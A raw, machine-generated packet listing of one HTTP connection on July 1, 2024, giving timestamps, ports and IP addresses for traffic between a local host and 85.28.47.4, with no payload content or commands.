Jul 1, 2024 07:20:42.567898989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567929029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567933083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567967892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.567979097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.567996979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568016052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568057060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568064928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568114042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568133116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568176985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568198919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568233967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568249941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568265915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568275928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568308115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568317890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568351030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568366051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568403006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568406105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568439007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568451881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568473101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568495035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568528891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568552017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568584919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568598032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568619013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568645000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568651915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568661928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568697929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568703890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568738937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568758011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568772078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568778992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568806887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568813086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568840027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568856001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568881035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568893909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568909883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568927050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568944931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.568958998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.568993092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569006920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569027901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569039106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569062948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569068909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569098949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569113016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569134951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569145918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569169044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569180012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569202900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569214106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569236994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569253922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569269896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569278002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569303989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569309950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569339037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569349051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569384098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569391966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569427013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569428921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569461107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569478035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569495916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569504023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569530010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569544077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569566011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569569111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569598913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569610119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569633961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569647074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569669962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.569673061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.569715977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.668232918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.673089027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.848983049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849009991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849035025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849049091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849064112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849083900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849090099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849109888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849162102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849277973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849293947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849313021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849318981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849328995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849339962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849344969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849359035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849360943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849378109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849394083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849399090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849414110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849414110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849436998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849457026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849600077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849616051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849632025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849639893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849646091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849657059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849675894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849685907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849701881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849721909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849723101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849740982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849756956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849761009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849761009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849781036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849796057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849833965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849870920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.849950075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849970102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849984884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.849986076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850003004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850006104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850018978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850019932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850035906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850042105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850053072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850060940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850070000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850075960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850085974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850090981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850102901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850110054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850125074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850142956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850305080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850338936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850414038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850438118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850452900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850455999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850461960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850466013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850474119 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850482941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850492001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850503922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850517988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850518942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850533962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850537062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850553036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850560904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850569963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850574970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850585938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850594044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850608110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850611925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850629091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850650072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850862980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850888014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850898027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850903034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850918055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850924969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850934029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850943089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850960016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850960970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850977898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.850977898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.850997925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851037025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851114988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851130962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851145029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851150990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851161003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851165056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851176977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851186037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851193905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851200104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851211071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851218939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851247072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851247072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851404905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851421118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851435900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851442099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851453066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851459026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851475954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851479053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851491928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851495981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851506948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851511955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851526022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851526976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851542950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851546049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851558924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851560116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851572037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851576090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851588964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851592064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851603985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851608992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851620913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851624966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851639032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851643085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851654053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851692915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.851979971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.851994991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852013111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852016926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852035046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852055073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852190971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852212906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852226973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852226973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852245092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852246046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852253914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852262974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852268934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852279902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852284908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852300882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852300882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852318048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852329969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852341890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852354050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852360010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852375031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852380991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852397919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852400064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852404118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852405071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852412939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852427959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852435112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852444887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852451086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852461100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852475882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852494001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852765083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852780104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852802038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852817059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852861881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852879047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852894068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.852899075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852916002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852935076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.852989912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853008032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853027105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853032112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853043079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853046894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853065014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853070974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853080988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853086948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853097916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853104115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853115082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853132963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853136063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853153944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.853156090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.853180885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.941988945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942079067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942096949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942116976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942133904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942136049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942151070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942153931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942168951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942178011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942184925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942200899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942209005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942219019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942236900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942253113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942266941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942290068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942410946 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942428112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942442894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942450047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942460060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.942476034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.942497969 CEST	49711	80	192.168.2.6	85.28.47.4
